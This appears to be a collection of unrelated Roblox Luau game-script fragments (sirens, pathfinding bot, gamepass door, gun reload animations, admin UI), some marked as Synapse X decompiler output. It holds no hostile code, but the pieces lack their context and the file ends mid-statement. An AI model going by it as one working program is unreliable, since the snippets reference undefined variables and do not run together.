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--Runs the soft shutdown Gui to warn players.
local Players = game:GetService("Players") local StarterGui = game:GetService("StarterGui") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService")
--// # key, ManOn
mouse.KeyDown:connect(function(key) if key=="f" then veh.Lightbar.middle.Man:Play() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110) veh.Lightbar.MAN.Transparency = 0 end end)
--[[ SmokeExplosion Description: This simple script creates a smoke cloud where the grenade is. ]]
-- Decompiled with the Synapse X Luau decompiler.
script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Visible = false; end);
-- zone 0 is all zones, any other zone is whatever that zone is (integer)
--local debris = game:GetService("Debris")
local bot = script.Parent -- bot stuff local bhum = bot:WaitForChild('Humanoid') local bhrp = bot:WaitForChild('HumanoidRootPart') local findPath = PFS:CreatePath({WaypointSpacing = math.huge}) local actPath = PFS:CreatePath({WaypointSpacing = math.huge}) local followedChar -- the one we are already following local char -- the one which we follow local function nearestChar() while wait() do local nearChar, nearDist = nil, nil local distance local firstPos for i,v in pairs(workspace:GetChildren()) do if v:FindFirstChild('Humanoid') and v ~= bot and v.Humanoid.Health > 0 and v:FindFirstChild('HumanoidRootPart') then findPath:ComputeAsync(bhrp.Position, v.HumanoidRootPart.Position) if findPath.Status == Enum.PathStatus.Success then distance = 0 for i,waypoint in ipairs(findPath:GetWaypoints()) do if i ~= 1 then distance = distance + (waypoint.Position - firstPos).Magnitude end firstPos = waypoint.Position end if nearDist == nil then nearDist = distance nearChar = v else if distance < nearDist then nearDist = distance nearChar = v end end end end end char = nearChar end end spawn(nearestChar) local count = 0 RunS.Heartbeat:Connect(function() if count >= 3 then -- You may change this number to your liking, but if you set it too low nextbot will lag count = 0 if char ~= nil and char:FindFirstChild('HumanoidRootPart') then actPath:ComputeAsync(bhrp.Position, char.HumanoidRootPart.Position) for i,v in ipairs(actPath:GetWaypoints()) do if i ~= 1 then bhum:MoveTo(v.Position) bhum.MoveToFinished:Wait() end end end else count = count + 1 end end)
--[=[ Creates a new Blend State which is actually just a ValueObject underneath. @param defaultValue T @return ValueObject<T> ]=]
function Blend.State(defaultValue) return ValueObject.new(defaultValue) end function Blend.Dynamic(...) return Blend.Computed(...) :Pipe({ -- This switch map is relatively expensive, so we don't do this for defaul computed -- and instead force the user to switch to another promise Rx.switchMap(function(promise, ...) if Promise.isPromise(promise) then return Rx.fromPromise(promise) elseif Observable.isObservable(promise) then return promise else return Rx.of(promise, ...) end end) }) end
-- Images
local DEFAULT_IMAGE = "rbxassetid://4102781967" local MOBILE_IMAGE = "rbxassetid://4179091377" local CONSOLE_IMAGE = "rbxassetid://4184944552"
-- ROBLOX MOVED: expect/utils.lua
local function isObject(a: any) return a ~= nil and typeof(a) == "table" end
-----------------------------------------------------------------------------------------------
Door = script.Parent Serv = game:GetService("BadgeService") MServ = game:GetService("MarketplaceService") if not _G.Players then _G.Players = {[ItemID] = {}} elseif not _G.Players[ItemID] then _G.Players[ItemID] = {} end Table = _G.Players[ItemID] function CheckPlayer(player2) for i = 1,#Table do if Table[i] == player2 then return true end end return false end Door.Touched:connect(function(hit) if game.Players:GetPlayerFromCharacter(hit.Parent) then player = game.Players:GetPlayerFromCharacter(hit.Parent) if Serv:UserHasBadge(player.userId,ItemID) or CheckPlayer(player) then -- Door.CanCollide = false-- Door.Transparency = OpenTrans wait(OpenTime) -- Door.CanCollide = true --Door.Transparency = CloseTrans else -- Door.CanCollide = true-- Door.Transparency = CloseTrans if BuyGUI == true then MServ:PromptGamePassPurchase(player,ItemID) h = player.Character:FindFirstChild("Humanoid") if h then h.WalkSpeed = 16 end local con con = MServ.PromptGamePassPurchaseFinished:connect(function(ply,asset,purch) if ply == player and asset == ItemID then con:disconnect() if purch then if h then h.WalkSpeed = 16 end table.insert(Table,player) elseif KillOnTouch == true then player.Character:BreakJoints() end end end) elseif KillOnTouch == true then -- Door.CanCollide = true --Door.Transparency = CloseTrans player.Character:BreakJoints() end end end end)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; v1.__index = v1; function v1.new() local v2 = setmetatable({}, v1); v2.lastUpdate = tick(); v2.transparencyDirty = false; v2.enabled = false; v2.lastTransparency = nil; v2.descendantAddedConn = nil; v2.descendantRemovingConn = nil; v2.toolDescendantAddedConns = {}; v2.toolDescendantRemovingConns = {}; v2.cachedParts = {}; return v2; end; function v1.HasToolAncestor(p1, p2) if p2.Parent == nil then return false; end; return p2.Parent:IsA("Tool") or p1:HasToolAncestor(p2.Parent); end; function v1.IsValidPartToModify(p3, p4) if not p4:IsA("BasePart") and not p4:IsA("Decal") then return false; end; return not p3:HasToolAncestor(p4); end; function v1.CachePartsRecursive(p5, p6) if p6 then if p5:IsValidPartToModify(p6) then p5.cachedParts[p6] = true; p5.transparencyDirty = true; end; for v3, v4 in pairs(p6:GetChildren()) do p5:CachePartsRecursive(v4); end; end; end; function v1.TeardownTransparency(p7) for v5, v6 in pairs(p7.cachedParts) do v5.LocalTransparencyModifier = 0; end; p7.cachedParts = {}; p7.transparencyDirty = true; p7.lastTransparency = nil; if p7.descendantAddedConn then p7.descendantAddedConn:disconnect(); p7.descendantAddedConn = nil; end; if p7.descendantRemovingConn then p7.descendantRemovingConn:disconnect(); p7.descendantRemovingConn = nil; end; for v7, v8 in pairs(p7.toolDescendantAddedConns) do v8:Disconnect(); p7.toolDescendantAddedConns[v7] = nil; end; for v9, v10 in pairs(p7.toolDescendantRemovingConns) do v10:Disconnect(); p7.toolDescendantRemovingConns[v9] = nil; end; end; function v1.SetupTransparency(p8, p9) p8:TeardownTransparency(); if p8.descendantAddedConn then p8.descendantAddedConn:disconnect(); end; p8.descendantAddedConn = p9.DescendantAdded:Connect(function(p10) if p8:IsValidPartToModify(p10) then p8.cachedParts[p10] = true; p8.transparencyDirty = true; return; end; if p10:IsA("Tool") then if p8.toolDescendantAddedConns[p10] then p8.toolDescendantAddedConns[p10]:Disconnect(); end; p8.toolDescendantAddedConns[p10] = p10.DescendantAdded:Connect(function(p11) p8.cachedParts[p11] = nil; if p11:IsA("BasePart") or p11:IsA("Decal") then p11.LocalTransparencyModifier = 0; end; end); if p8.toolDescendantRemovingConns[p10] then p8.toolDescendantRemovingConns[p10]:disconnect(); end; p8.toolDescendantRemovingConns[p10] = p10.DescendantRemoving:Connect(function(p12) wait(); if p9 and p12 and p12:IsDescendantOf(p9) and p8:IsValidPartToModify(p12) then p8.cachedParts[p12] = true; p8.transparencyDirty = true; end; end); end; end); if p8.descendantRemovingConn then p8.descendantRemovingConn:disconnect(); end; p8.descendantRemovingConn = p9.DescendantRemoving:connect(function(p13) if p8.cachedParts[p13] then p8.cachedParts[p13] = nil; p13.LocalTransparencyModifier = 0; end; end); p8:CachePartsRecursive(p9); end; function v1.Enable(p14, p15) if p14.enabled ~= p15 then p14.enabled = p15; p14:Update(); end; end; function v1.SetSubject(p16, p17) local v11 = nil; if p17 and p17:IsA("Humanoid") then v11 = p17.Parent; end; if p17 and p17:IsA("VehicleSeat") and p17.Occupant then v11 = p17.Occupant.Parent; end; if not v11 then p16:TeardownTransparency(); return; end; p16:SetupTransparency(v11); end; local u1 = require(script.Parent:WaitForChild("CameraUtils")); function v1.Update(p18) local v12 = tick(); local l__CurrentCamera__13 = workspace.CurrentCamera; if l__CurrentCamera__13 then local v14 = 0; if p18.enabled then local l__magnitude__15 = (l__CurrentCamera__13.Focus.p - l__CurrentCamera__13.CoordinateFrame.p).magnitude; local v16 = l__magnitude__15 < 2 and 1 - (l__magnitude__15 - 0.5) / 1.5 or 0; if v16 < 0.5 then v16 = 0; end; if p18.lastTransparency then local v17 = v16 - p18.lastTransparency; if not false and v16 < 1 and p18.lastTransparency < 0.95 then local v18 = 2.8 * (v12 - p18.lastUpdate); v17 = math.clamp(v17, -v18, v18); end; v16 = p18.lastTransparency + v17; else p18.transparencyDirty = true; end; v14 = math.clamp(u1.Round(v16, 2), 0, 1); end; if p18.transparencyDirty or p18.lastTransparency ~= v14 then for v19, v20 in pairs(p18.cachedParts) do v19.LocalTransparencyModifier = v14; end; p18.transparencyDirty = false; p18.lastTransparency = v14; end; end; p18.lastUpdate = v12; end; return v1;
--[światła]
p1 = script.Parent.Parent.p1 legansio = false sp1 = script.Parent.Parent.sp1 legansio = false p2 = script.Parent.Parent.p2 legansio = false sp2 = script.Parent.Parent.sp2 legansio = false p3 = script.Parent.Parent.p3 legansio = false sp3 = script.Parent.Parent.sp3 legansio = false p4 = script.Parent.Parent.p4 legansio = false sp4 = script.Parent.Parent.sp4 legansio = false p5 = script.Parent.Parent.p5 legansio = false sp5 = script.Parent.Parent.sp5 legansio = false p6 = script.Parent.Parent.p6 legansio = false sp6 = script.Parent.Parent.sp6 legansio = false p7 = script.Parent.Parent.p7 legansio = false sp7 = script.Parent.Parent.sp7 legansio = false l1 = script.Parent.Parent.l1 legansio = false sl1 = script.Parent.Parent.sl1 legansio = false l2 = script.Parent.Parent.l2 legansio = false sl2 = script.Parent.Parent.sl2 legansio = false l3 = script.Parent.Parent.l3 legansio = false sl3 = script.Parent.Parent.sl3 legansio = false l4 = script.Parent.Parent.l4 legansio = false sl4 = script.Parent.Parent.sl4 legansio = false l5 = script.Parent.Parent.l5 legansio = false sl5 = script.Parent.Parent.sl5 legansio = false l6 = script.Parent.Parent.l6 legansio = false sl6 = script.Parent.Parent.sl6 legansio = false l7 = script.Parent.Parent.l7 legansio = false sl7 = script.Parent.Parent.sl7 legansio = false
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Classes.Base.Scholar.Lumos.Value == true and plrData.Classes.Base.Scholar.XP.Value >= 100 and plrData.Classes.Base.Scholar.Ignis.Value ~= true end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Money.Gold.Value >= 30 end
----- EXAMPLE CODE -----
local weldList1 = WeldAllToPart(P, P.Main) -- Weld a model, returns a list of welds. UnanchorWeldList(weldList1) -- Unanchores the list of welds given. script:Destroy() -- Clean up this script.
----------------- --| Constants |-- -----------------
local SHOT_SPEED =1000 local SHOT_TIME = 5 local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = client.UI.Make("Window", { Name = "Settings", Title = "Settings", Size = { 225, 200 }, AllowMultiple = false }); local v2 = { { Text = "Keybinds: ", Desc = "- Enabled/Disables Keybinds", Entry = "Boolean", Value = client.Variables.KeybindsEnabled, Function = function(p2, p3) client.Variables.KeybindsEnabled = p2; p3.Text = "Saving.."; client.Remote.Get("UpdateClient", "KeybindsEnabled", p2); p3.Text = p3.Text; end }, { Text = "UI Keep Alive: ", Desc = "- Prevents Adonis UI deletion on death", Entry = "Boolean", Value = client.Variables.UIKeepAlive, Function = function(p4, p5) client.Variables.UIKeepAlive = p4; p5.Text = "Saving.."; client.Remote.Get("UpdateClient", "UIKeepAlive", p4); p5.Text = p5.Text; end }, { Text = "Particle Effects: ", Desc = "- Enables/Disables certain Adonis made effects like sparkles", Entry = "Boolean", Value = client.Variables.ParticlesEnabled, Function = function(p6, p7) client.Variables.ParticlesEnabled = p6; p7.Text = "Saving.."; client.Remote.Get("UpdateClient", "ParticlesEnabled", p6); p7.Text = p7.Text; end }, { Text = "Capes: ", Desc = "- Allows you to disable all player capes locally", Entry = "Boolean", Value = client.Variables.CapesEnabled, Function = function(p8, p9) client.Variables.CapesEnabled = p8; p9.Text = "Saving.."; client.Remote.Get("UpdateClient", "CapesEnabled", p8); p9.Text = p9.Text; end }, { Text = "Console Key: ", Desc = "Key used to open the console", Entry = "Button", Value = client.Variables.CustomConsoleKey or client.Remote.Get("Setting", "ConsoleKeyCode"), Function = function(p10) p10.Text = "Waiting..."; local u1 = nil; while true do wait(); if u1 then break; end; end; client.Variables.CustomConsoleKey = u1; service.UserInputService.InputBegan:connect(function(p11) if not service.UserInputService:GetFocusedTextBox() and rawequal(p11.UserInputType, Enum.UserInputType.Keyboard) then u1 = p11.KeyCode.Name; end; end):Disconnect(); p10.Text = "Saving.."; client.Remote.Get("UpdateClient", "CustomConsoleKey", client.Variables.CustomConsoleKey); p10.Text = u1; end }, { Text = "Theme: ", Desc = "- Allows you to set the Adonis UI theme", Entry = "DropDown", Setting = "CustomTheme", Function = function(p12) local l__Frame__2 = gui.ThemePicker.Frame; local l__Entry__3 = gui.ThemePicker.Entry; local l__gui_ThemePicker__4 = gui.ThemePicker; local l__TextButton__5 = p12.TextButton; local function u6() l__Frame__2:ClearAllChildren(); local v3 = { "Default" }; local v4 = 0; for v5, v6 in pairs(client.Deps.UI:GetChildren()) do table.insert(v3, v6.Name); end; for v7, v8 in pairs(v3) do local v9 = l__Entry__3:Clone(); v9.Text = v8; v9.Position = UDim2.new(0, 0, 0, 20 * v4); v9.Parent = l__Frame__2; v9.Visible = true; v9.MouseButton1Click:connect(function() service.Debounce("ClientSelectingTheme", function() l__gui_ThemePicker__4.Visible = false; l__TextButton__5.Text = v8; client.Variables.CustomTheme = v8; if v8 == "Default" then client.Remote.Get("UpdateClient", "CustomTheme", nil); return; end; client.Remote.Get("UpdateClient", "CustomTheme", v8); end); end); v4 = v4 + 1; end; l__gui_ThemePicker__4.Position = UDim2.new(0, l__TextButton__5.AbsolutePosition.X, 0, l__TextButton__5.AbsolutePosition.Y); l__gui_ThemePicker__4.Visible = true; end; l__TextButton__5.MouseButton1Click:connect(function() service.Debounce("ClientDisplayThemes", function() if l__gui_ThemePicker__4.Visible then l__gui_ThemePicker__4.Visible = false; return; end; u6(); end); end); if not client.Variables.CustomTheme then l__TextButton__5.Text = "Default"; return; end; l__TextButton__5.Text = client.Variables.CustomTheme; end } }; if v1 then local v10 = v1:Add("TabFrame", { Size = UDim2.new(1, -10, 1, -10), Position = UDim2.new(0, 5, 0, 5) }); local v11 = v10:NewTab("Client", { Text = "Client" }); local v12 = v10:NewTab("Game", { Text = "Game" }); for v13, v14 in next, v2 do if v14.Entry == "Boolean" then v11:Add("TextLabel", { Size = UDim2.new(1, -10, 0, 25), Position = UDim2.new(0, 5, 0, 25 * (v13 - 1)), TextXAlignment = "Left", Enabled = v14.Value, Text = v14.Text, ToolTip = v14.Desc }):Add("Boolean", { Size = UDim2.new(0, 100, 0, 20), Position = UDim2.new(1, -100, 0, 0), Enabled = v14.Value, OnToggle = function(p13, p14) print("Toggled thinger"); end }); end; end; v11:ResizeCanvas(false, true); local l__gTable__15 = v1.gTable; v1:Ready(); end; end;
--[=[ Cleans up the signal. Technically, this is only necessary if the signal is created using `Signal.Wrap`. Connections should be properly GC'd once the signal is no longer referenced anywhere. However, it is still good practice to include ways to strictly clean up resources. Calling `Destroy` on a signal will also disconnect all connections immediately. ```lua signal:Destroy() ``` ]=]
function Signal:Destroy() self:DisconnectAll() local proxyHandler = rawget(self, "_proxyHandler") if proxyHandler then proxyHandler:Disconnect() end end
-- удаление оригинала
game.Workspace.Targets.Zombie:Destroy()
--Wheelie tune
local WheelieD = 10 local WheelieTq = 90 local WheelieP = 10 local WheelieMultiplier = 1.5 local WheelieDivider = 1
--[[ END OF SERVICES ]]
local LocalPlayer = PlayersService.LocalPlayer while LocalPlayer == nil do PlayersService.ChildAdded:wait() LocalPlayer = PlayersService.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local success, UserShouldLocalizeGameChatBubble = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble") end) local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble local FFlagUserChatNewMessageLengthCheck2 do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserChatNewMessageLengthCheck2") end) FFlagUserChatNewMessageLengthCheck2 = success and result end local function getMessageLength(message) return utf8.len(utf8.nfcnormalize(message)) end
-- Setting Up Buttons in Moblie
cas:BindAction("Sprint", function(_,inputState) if inputState == Enum.UserInputState.Begin then sprint("Begin") else sprint("Ended") end end, true, Enum.KeyCode.LeftShift) cas:SetTitle("Sprint","Sprint") cas:SetPosition("Sprint",UDim2.new(1, -70, 0, 10))
--------------------[ STANCE FUNCTIONS ]----------------------------------------------
function Stand(onDeselected) local LHip = Torso["Left Hip"] local RHip = Torso["Right Hip"] LLegWeld.Part1 = nil LHip.Part1 = LLeg RLegWeld.Part1 = nil RHip.Part1 = RLeg Stance = 0 spreadStance = "Stand" baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] if S.stanceSettings.Anim and (not onDeselected) then spawn(function() local prevStanceSway = stanceSway local X = 0 local Increment = 1.5 / S.stanceSettings.Speed while true do RS.RenderStepped:wait() local newX = X + Increment X = (newX > 90 and 90 or newX) if Stance ~= 0 then break end stanceSway = numLerp(prevStanceSway, 1, Sine(X)) if X == 90 then break end end end) tweenJoint(ABWeld, CF(), nil, Sine, S.stanceSettings.Speed) tweenJoint(LLegWeld, legC0.Stand[1], nil, Sine, S.stanceSettings.Speed) tweenJoint(RLegWeld, legC0.Stand[2], nil, Sine, S.stanceSettings.Speed) tweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.stanceSettings.Speed) tweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.stanceSettings.Speed) tweenJoint(Root, CFANG(RAD(-90), 0, RAD(180)), nil, Sine, S.stanceSettings.Speed) tweenJoint(headWeld, CF(0, 1.5, 0), nil, Sine, S.stanceSettings.Speed) elseif onDeselected or (not S.stanceSettings.Anim) then ABWeld.C0 = CF() LLegWeld.C0 = legC0.Stand[1] RLegWeld.C0 = legC0.Stand[2] LHip.C0, LHip.C1 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0) RHip.C0, RHip.C1 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0) Root.C0 = CFANG(RAD(-90), 0, RAD(180)) headWeld.C0 = CF(0, 1.5, 0) end end function Crouch() local LHip = Torso["Left Hip"] local RHip = Torso["Right Hip"] LHip.Part1 = nil LLegWeld.Part1 = LLeg RHip.Part1 = nil RLegWeld.Part1 = RLeg Stance = 1 spreadStance = "Crouch" baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] if S.stanceSettings.Anim then spawn(function() local prevStanceSway = stanceSway local X = 0 local Increment = 1.5 / S.stanceSettings.Speed while true do RS.RenderStepped:wait() local newX = X + Increment X = (newX > 90 and 90 or newX) if Stance ~= 1 then break end stanceSway = numLerp(prevStanceSway, 0.75, Sine(X)) if X == 90 then break end end end) tweenJoint(ABWeld, CF(0, 0, -0.05), nil, Sine, S.stanceSettings.Speed) tweenJoint(LLegWeld, legC0.Crouch[1], nil, Sine, S.stanceSettings.Speed) tweenJoint(RLegWeld, legC0.Crouch[2], nil, Sine, S.stanceSettings.Speed) tweenJoint(LHip, CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)), Sine, S.stanceSettings.Speed) tweenJoint(RHip, CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0), Sine, S.stanceSettings.Speed) tweenJoint(Root, CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180)), nil, Sine, S.stanceSettings.Speed) tweenJoint(headWeld, CF(0, 1.5, 0), nil, Sine, S.stanceSettings.Speed) else ABWeld.C0 = CF(0, 0, -1 / 16) LLegWeld.C0 = legC0.Crouch[1] RLegWeld.C0 = legC0.Crouch[2] LHip.C0, LHip.C1 = CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)) RHip.C0, RHip.C1 = CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0) Root.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180)) headWeld.C0 = CF(0, 1.5, 0) end end function Prone() local LHip = Torso["Left Hip"] local RHip = Torso["Right Hip"] LHip.Part1 = nil LLegWeld.Part1 = LLeg RHip.Part1 = nil RLegWeld.Part1 = RLeg Stance = 2 spreadStance = "Prone" baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] if S.stanceSettings.Anim then spawn(function() local prevStanceSway = stanceSway local X = 0 local Increment = 1.5 / S.stanceSettings.Speed while true do RS.RenderStepped:wait() local newX = X + Increment X = (newX > 90 and 90 or newX) if Stance ~= 2 then break end stanceSway = numLerp(prevStanceSway, 0.5, Sine(X)) if X == 90 then break end end end) tweenJoint(ABWeld, CF(0, 0, -0.1), nil, Sine, S.stanceSettings.Speed) tweenJoint(LLegWeld, legC0.Prone[1], nil, Sine, S.stanceSettings.Speed) tweenJoint(RLegWeld, legC0.Prone[2], nil, Sine, S.stanceSettings.Speed) tweenJoint(Root, CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180)), nil, Sine, S.stanceSettings.Speed) tweenJoint(headWeld, CF(0, 1, 1) * CFANG(RAD(90), 0, 0), nil, Sine, S.stanceSettings.Speed) else ABWeld.C0 = CF(0, 0, -1 / 8) LLegWeld.C0 = legC0.Prone[1] RLegWeld.C0 = legC0.Prone[2] Root.C0 = CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180)) headWeld.C0 = CF(0, 1, 1) * CFANG(RAD(90), 0, 0) end end function Dive() onGround = false local diveDirection = (HRP.CFrame * CFANG(S.diveSettings.Angle, 0, 0)).lookVector * S.walkSpeeds.Sprinting * S.diveSettings.Force local BF = Instance.new("BodyForce") BF.force = diveDirection + Vector3.new(0, playerMass * 196.2, 0) BF.Parent = HRP --[[spawn(function() HRP.Velocity = HRP.CFrame.lookVector * 60 + V3(0, 40, 0) wait(0.1) HRP.Velocity = HRP.CFrame.lookVector * 70 + V3(0, 30, 0) wait(0.4) HRP.Velocity = HRP.CFrame.lookVector * 30 + V3(0, -10, 0) end)]] delay(0.05, function() spawn(function() while true do local newRay = Ray.new(HRP.Position, V3(0, -3.1, 0)) local H, _ = workspace:FindPartOnRayWithIgnoreList(newRay, Ignore) if H then onGround = true break end wait() end end) Prone() wait(0.1) BF:Destroy() end) end
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
function ReloadAnim() TweenJoint(LWeld2, CF(), CF(), Sine, 0.15) TweenJoint(RWeld2, CF(), CF(), Sine, 0.15) local Speed = S.ReloadTime / 2 local Mag_Parts = {} for _, Obj in pairs(Gun:GetChildren()) do if Obj.Name == "Mag" and Obj:IsA("BasePart") then INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()}) end end local W1 = nil local W2 = nil local SequenceTable = { function() for Index, Mag in pairs(Mag_Parts) do Mag.Original.Transparency = 1 Mag.Clone1.Parent = Gun_Ignore Mag.Clone1.CanCollide = true if Index ~= 1 then local W = Instance.new("Weld") W.Part0 = Mag_Parts[1].Clone1 W.Part1 = Mag.Clone1 W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame) W.Parent = Mag_Parts[1].Clone1 end end W1 = Instance.new("Weld") W1.Part0 = Mag_Parts[1].Clone1 W1.Part1 = Handle W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame) W1.Parent = Mag_Parts[1].Clone1 TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed) TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(-20), RAD(3), 0), Linear, 0.5 * Speed) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed) wait(0.5 * Speed) end; function() TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed) wait(0.2 * Speed) end; function() W1:Destroy() Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-1,0)) * 20 spawn(function() while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end for _, Mag in pairs(Mag_Parts) do Mag.Clone1.Anchored = true Mag.Clone1:BreakJoints() end end) for Index, Mag in pairs(Mag_Parts) do Mag.Clone2.Parent = Gun_Ignore if Index ~= 1 then local W = Instance.new("Weld") W.Part0 = Mag_Parts[1].Clone2 W.Part1 = Mag.Clone2 W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame) W.Parent = Mag_Parts[1].Clone2 end end W2 = Instance.new("Weld") W2.Part0 = FakeLArm W2.Part1 = Mag_Parts[1].Clone2 W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0) W2.Parent = FakeLArm wait(0.1) end; function() local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse() local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse() local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0) local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame) local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF) TweenJoint(LWeld, ArmC0[1], CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60)), Sine, 0.6 * Speed) TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed) TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed) TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed) wait(0.7 * Speed) end; function() for _, Mag in pairs(Mag_Parts) do Mag.Original.Transparency = 0 Mag.Clone2:Destroy() end TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed) wait(0.5 * Speed) end; } for _,ReloadFunction in pairs(SequenceTable) do if BreakReload then break end ReloadFunction() end if W1 then W1:Destroy() end if W2 then W2:Destroy() end for _, Mag in pairs(Mag_Parts) do Mag.Clone1:Destroy() Mag.Clone2:Destroy() end end function Reload() Running = false if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip) Ammo.Value = 0 Reloading = true if Aimed then UnAimGun(S.ReloadAnimation) end Gui_Clone.CrossHair.Reload.Visible = true if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end if S.ReloadAnimation then wait() ReloadAnim() else local StartReload = tick() while true do if BreakReload then break end if (tick() - StartReload) >= S.ReloadTime then break end RS:wait() end end if (not BreakReload) then if StoredAmmo.Value >= ClipSize.Value then Ammo.Value = ClipSize.Value if AmmoInClip > 0 then StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip) else StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value end elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then Ammo.Value = StoredAmmo.Value StoredAmmo.Value = 0 end end BreakReload = false Reloading = false if Selected then AmmoInClip = 0 Gui_Clone.CrossHair.Reload.Visible = false end end end
-- BEHAVIOUR --Controller support
coroutine.wrap(function() -- Create PC 'Enter Controller Mode' Icon runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion local Icon = require(script.Parent) local controllerOptionIcon = Icon.new() :setName("_TopbarControllerOption") :setOrder(100) :setImage("rbxassetid://5278150942") :setRight() :setEnabled(false) :setTip("Controller mode") controllerOptionIcon.deselectWhenOtherIconSelected = false -- This decides what controller widgets and displays to show based upon their connected inputs -- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle -- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode local function determineDisplay() local mouseEnabled = userInputService.MouseEnabled local controllerEnabled = userInputService.GamepadEnabled local iconIsSelected = controllerOptionIcon.isSelected if mouseEnabled and controllerEnabled then -- Show icon controllerOptionIcon:setEnabled(true) elseif mouseEnabled and not controllerEnabled then -- Hide icon, disableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(false) controllerOptionIcon:deselect() elseif not mouseEnabled and controllerEnabled then -- Hide icon, _enableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(true) end end userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay) userInputService.GamepadConnected:Connect(determineDisplay) userInputService.GamepadDisconnected:Connect(determineDisplay) determineDisplay() -- Enable/Disable Controller Mode when icon clicked local function iconClicked() local isSelected = 